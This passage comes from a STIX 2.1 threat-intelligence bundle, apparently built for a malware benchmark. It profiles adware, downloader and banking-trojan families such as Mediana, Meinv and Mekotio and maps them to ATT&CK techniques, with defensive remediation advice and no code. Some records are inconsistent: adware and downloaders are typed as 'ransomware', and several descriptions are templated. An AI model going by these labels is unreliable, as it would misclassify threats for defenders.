      "relationship_type": "uses",
      "source_ref": "malware--83a84b15-ef76-50ca-862c-cb458b6784c0",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamine exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1801d639-7715-5bfe-b8ad-a3e0d2b1805d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83a84b15-ef76-50ca-862c-cb458b6784c0",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamine exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a48a8815-dc0d-5253-aed3-8bb60d60c87e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--83a84b15-ef76-50ca-862c-cb458b6784c0",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediamine exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b642c5b9-d8f6-54d3-a5e8-5012e8f585cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mediana",
      "description": "<h3>Executive Summary</h3>\nMediana is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate browser enhancement, media player update, or system utility. Its true purpose is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation and data harvesting.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMediana relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software from unofficial, localized web portals or third-party aggregators. The adware is installed silently in the background during the primary software's setup process, often utilizing deceptive \"Advanced\" or \"Custom\" installation screens designed to trick users into accepting the bundle.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions across Chrome, Firefox, and Edge. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through affiliate-monetized search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Mediana frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to remove the extension or change their homepage back to Google, the watchdog service instantly reinstalls the adware.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance and user experience.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Mediana is generally not classified as destructive malware, it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources. The tracking telemetry also violates corporate privacy policies.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Mediana",
        "PUP.Mediana",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mediana",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mediana"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05176059-9633-5666-8010-f041d605987d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b642c5b9-d8f6-54d3-a5e8-5012e8f585cf",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediana exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afc86c6e-dea4-5c5b-8a16-0560e80d9281",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b642c5b9-d8f6-54d3-a5e8-5012e8f585cf",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediana exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52a74e6e-ce2c-5674-a74e-2a3f73f234d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b642c5b9-d8f6-54d3-a5e8-5012e8f585cf",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mediana exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e17d94e6-5edf-51e3-a4c0-5e350f445fba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Megasearch",
      "description": "BrowserModifier:Win32/Megasearch is a highly intrusive browser hijacker and adware component designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries through its own affiliated engines, injects unwanted advertisements, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Megasearch</b><br>To an end-user, Megasearch manifests as a sudden, unwanted change to their browser's homepage, new tab page, and default search engine (often redirecting to a page that looks like a generic search portal, but is heavily laden with sponsored links). For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising.<br><br><b>Execution and Hijacking Mechanics</b><br>Megasearch is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It often installs a persistent browser extension (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. Advanced variants may also modify the shortcuts (LNK files) on the desktop or taskbar (`T1547.009`) to automatically launch the browser to the hijacked URL.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties or unexpected additions to Chrome/Firefox extension directories. Network IoCs include DNS queries resolving to the Megasearch infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Megasearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/megasearch"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e12fb32-8583-5ac1-aae2-1c5828f95e6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e17d94e6-5edf-51e3-a4c0-5e350f445fba",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Megasearch exhibits technique T1176 (Browser Extensions (Installing malicious add-ons))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bec954e-5c76-594d-b94b-fba6ea6688aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e17d94e6-5edf-51e3-a4c0-5e350f445fba",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Megasearch exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6bd48f7c-fd2c-583b-be2c-1a1288caa317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e17d94e6-5edf-51e3-a4c0-5e350f445fba",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Megasearch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--339a5966-2518-5023-b72c-4a0a50b32c06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e17d94e6-5edf-51e3-a4c0-5e350f445fba",
      "target_ref": "attack-pattern--b772747b-96b9-52d0-8017-d1da4e3cc807",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Megasearch exhibits technique T1547.009 (Boot or Logon Autostart Execution: Shortcut Modification)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--16ff9f64-4dc1-5409-a7ee-35104c425927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Meikehuayi",
      "description": "<h3>Executive Summary</h3>\nMeikehuayi is an aggressive Potentially Unwanted Program (PUP) and Adware application, frequently originating from Chinese software development networks. It masquerades as a legitimate system utility, media player, or browser enhancement, but its primary function is to forcefully inject advertisements, hijack browser settings, and heavily monetize the infected endpoint through affiliate traffic generation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMeikehuayi relies almost entirely on deceptive software bundling. Users typically encounter it when downloading \"free\" software, game mods, or cracked applications from unofficial, localized web portals. The adware is installed silently in the background during the primary software's setup process.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Aggressive Browser Hijacking:</strong> The software installs persistent extensions and Browser Helper Objects (BHOs) across all installed web browsers. It forcefully modifies the default homepage, search engine, and new tab page to route traffic through localized shopping portals or affiliate search engines.</li>\n<li><strong>System Watchdogs and Rootkit Tactics:</strong> Meikehuayi is notorious for its difficult uninstallation process. It frequently installs background \"watchdog\" services that actively monitor the registry and browser settings. If a user attempts to change their homepage back to Google, the watchdog service instantly reverts the change back to the malicious portal.</li>\n<li><strong>Ad Injection and Overlay:</strong> It injects its own JavaScript into legitimate websites, overlaying pages with intrusive pop-up ads, sliding banners, and embedded video advertisements, significantly degrading system performance.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Meikehuayi is generally not classified as destructive malware (like ransomware), it poses a severe threat to system stability, user productivity, and privacy. The aggressive persistence mechanisms cause significant IT overhead, and the constant ad injection consumes massive CPU and RAM resources.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode and Process Termination:</strong> Due to the aggressive watchdog services, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the adware's defense mechanisms from launching before attempting uninstallation.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. Utilize a reputable enterprise anti-malware solution (specifically tuned for Adware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Browser Factory Reset:</strong> Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge the malicious extensions and hijacked settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Meikehuayi",
        "PUP.Meike",
        "Win32/Adware.Hijacker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Meikehuayi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/meikehuayi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e60ab008-e6ec-5981-a2dd-6cb04eccdbfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16ff9f64-4dc1-5409-a7ee-35104c425927",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meikehuayi exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ad6c2c9f-ecf6-5bc2-9a5d-d804d431865a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16ff9f64-4dc1-5409-a7ee-35104c425927",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meikehuayi exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70894048-94b9-57e2-af9e-0bb0150c9726",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--16ff9f64-4dc1-5409-a7ee-35104c425927",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meikehuayi exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7075fe54-7fe1-5cd4-b02d-c388f6e2e826",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Meinhudong",
      "description": "Trojan:Win32/Meinhudong is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Meinhudong</b><br>To an end-user, a Meinhudong infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Meinhudong is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Meinhudong is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Meinhudong frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Meinhudong reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Meinhudong",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/meinhudong"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8dfeb92-62f5-5d96-b644-f9e78a8b5dd9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7075fe54-7fe1-5cd4-b02d-c388f6e2e826",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinhudong exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57f5a92a-51cf-5b9c-923f-c1fe805fed79",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7075fe54-7fe1-5cd4-b02d-c388f6e2e826",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinhudong exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--384db616-7bc8-5c0a-9602-6aadfc081987",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7075fe54-7fe1-5cd4-b02d-c388f6e2e826",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinhudong exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65721231-4872-5612-85bf-f3bf7d4d973e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7075fe54-7fe1-5cd4-b02d-c388f6e2e826",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinhudong exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc81aaf7-c3cc-5633-8d5c-460810ef9299",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7075fe54-7fe1-5cd4-b02d-c388f6e2e826",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinhudong exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1045054f-362d-51f1-963d-7365701bba0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Meinv",
      "description": "<h3>Executive Summary</h3>\nMeinv is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMeinv is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Meinv operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Meinv ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Meinv receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Meinv infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Meinv executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Meinv frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Meinv",
        "Downloader.Meinv",
        "Win32/Meinv"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Meinv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/meinv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb302764-5f74-5966-9c47-15a02ce058cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1045054f-362d-51f1-963d-7365701bba0a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef1fcfe3-a211-5d61-b40f-f3a167b53911",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1045054f-362d-51f1-963d-7365701bba0a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce80a3e0-c0f0-5add-89e5-26b160b7820c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1045054f-362d-51f1-963d-7365701bba0a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Meinv exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9c4068f5-e575-53bc-b9f0-3dbbb14a5829",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mekotio",
      "description": "Mekotio (cataloged across security vendors and threat intelligence databases under signatures including Trojan-Banker:Win32/Mekotio, Trojan.Win32.Mekotio, and Mekotio) is a prominent Latin American banking trojan family active since 2015. Primarily targeting financial institutions across Brazil, Mexico, Chile, Peru, and Spain, Mekotio is distributed via spam emails posing as tax invoices, traffic fine notices, or utility bills carrying malicious zip archives or MSI installers. Programmed in Delphi, Mekotio performs host environment fingerprinting, establishes startup persistence via registry run keys, and hooks web browsers. When victims visit online banking portals, Mekotio displays deceptive overlay windows mimicking legitimate bank authentication dialogues to steal login credentials, one-time passwords (OTPs), and credit card details, exfiltrating stolen data to remote C2 drop boxes via encrypted HTTP/TCP channels. (Observed samples in benchmark: 44)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker:Win32/Mekotio",
        "Trojan.Win32.Mekotio",
        "Mekotio Banker",
        "Win32/Mekotio"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mekotio",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mekotio"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b47aba6b-9c52-56c0-a2e3-0a1da00b251c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c4068f5-e575-53bc-b9f0-3dbbb14a5829",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mekotio exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfacfbcc-5e10-5c20-980e-fd0caacfeecf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c4068f5-e575-53bc-b9f0-3dbbb14a5829",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mekotio exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f70bbba-679c-55cd-9e1e-53b41f7dc213",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c4068f5-e575-53bc-b9f0-3dbbb14a5829",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mekotio exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23c1fb52-1179-5fcf-b3f1-0016029ce415",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c4068f5-e575-53bc-b9f0-3dbbb14a5829",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mekotio exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--661d3c0b-4def-598b-b2db-1d3fe38593e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9c4068f5-e575-53bc-b9f0-3dbbb14a5829",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mekotio exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0e8c5428-e376-58f3-97c5-2f7de78e09a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Memery",
